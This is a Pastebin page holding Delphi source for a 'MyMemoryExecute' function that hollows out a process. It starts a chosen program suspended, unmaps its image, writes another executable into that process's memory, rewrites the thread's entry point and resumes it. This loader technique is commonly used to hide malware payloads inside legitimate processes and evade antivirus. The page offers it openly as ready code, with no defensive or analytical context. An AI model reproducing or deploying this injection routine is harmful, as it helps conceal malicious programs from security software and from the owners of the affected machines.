Advertisement
Guest User

Untitled

a guest
May 29th, 2017
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 4.03 KB | None | 0 0
  1. (*****************************************
  2.  MyMemoryExecute() Function
  3.  
  4.  Loads a choosen application into the
  5.  memory of another application, with
  6.  or without choosen parameters. Can
  7.  also load file visible.
  8.  ****************************************)
  9. Function MyMemoryExecute(Buffer: Pointer; ProcessName, Parameters: String; Visible: Boolean): Boolean;
  10. Var
  11.   ProcessInfo           :TProcessInformation;
  12.   StartupInfo           :TStartupInfo;
  13.   Context               :TContext;
  14.   BaseAddress           :Pointer;
  15.   BytesRead             :DWORD;
  16.   BytesWritten          :DWORD;
  17.   I                     :ULONG;
  18.   OldProtect            :ULONG;
  19.   NTHeaders             :PImageNTHeaders;
  20.   Sections              :PImageSectionHeaders;
  21.   Success               :Boolean;
  22. Begin
  23.   Result := False;
  24.  
  25.   FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
  26.   FillChar(StartupInfo, SizeOf(TStartupInfo),        0);
  27.  
  28.   StartupInfo.cb := SizeOf(TStartupInfo);
  29.   StartupInfo.wShowWindow := Word(Visible);
  30.  
  31.   If (zCreateProcessA(PChar(ProcessName), PChar(Parameters), NIL, NIL,
  32.                     False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
  33.   Begin
  34.     Success := True;
  35.  
  36.     Try
  37.       Context.ContextFlags := CONTEXT_INTEGER;
  38.       If (zGetThreadContext(ProcessInfo.hThread, Context) And
  39.          (zReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
  40.                             @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
  41.          (zZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
  42.          (Assigned(Buffer))) Then
  43.          Begin
  44.            NTHeaders    := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
  45.            BaseAddress  := zVirtualAllocEx(ProcessInfo.hProcess,
  46.                                           Pointer(NTHeaders.OptionalHeader.ImageBase),
  47.                                           NTHeaders.OptionalHeader.SizeOfImage,
  48.                                           MEM_RESERVE or MEM_COMMIT,
  49.                                           PAGE_READWRITE);
  50.            If (Assigned(BaseAddress)) And
  51.               (zWriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
  52.                                   NTHeaders.OptionalHeader.SizeOfHeaders,
  53.                                   BytesWritten)) Then
  54.               Begin
  55.                 Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
  56.  
  57.                 For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
  58.                   If (zWriteProcessMemory(ProcessInfo.hProcess,
  59.                                          Pointer(Cardinal(BaseAddress) +
  60.                                                  Sections[I].VirtualAddress),
  61.                                          Pointer(Cardinal(Buffer) +
  62.                                                  Sections[I].PointerToRawData),
  63.                                          Sections[I].SizeOfRawData, BytesWritten)) Then
  64.                      zVirtualProtectEx(ProcessInfo.hProcess,
  65.                                       Pointer(Cardinal(BaseAddress) +
  66.                                               Sections[I].VirtualAddress),
  67.                                       Sections[I].Misc.VirtualSize,
  68.                                       Protect(Sections[I].Characteristics),
  69.                                       OldProtect);
  70.  
  71.                 If (zWriteProcessMemory(ProcessInfo.hProcess,
  72.                                        Pointer(Context.Ebx + 8), @BaseAddress,
  73.                                        SizeOf(BaseAddress), BytesWritten)) Then
  74.                    Begin
  75.                      Context.Eax := ULONG(BaseAddress) +
  76.                                     NTHeaders.OptionalHeader.AddressOfEntryPoint;
  77.                      Success := zSetThreadContext(ProcessInfo.hThread, Context);
  78.                    End;
  79.               End;
  80.          End;
  81.     Finally
  82.       If (Not Success) Then
  83.         zTerminateProcess(ProcessInfo.hProcess, 0)
  84.       Else
  85.         zResumeThread(ProcessInfo.hThread);
  86.       Result := Success;
  87.     End;
  88.   End;
  89. End;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement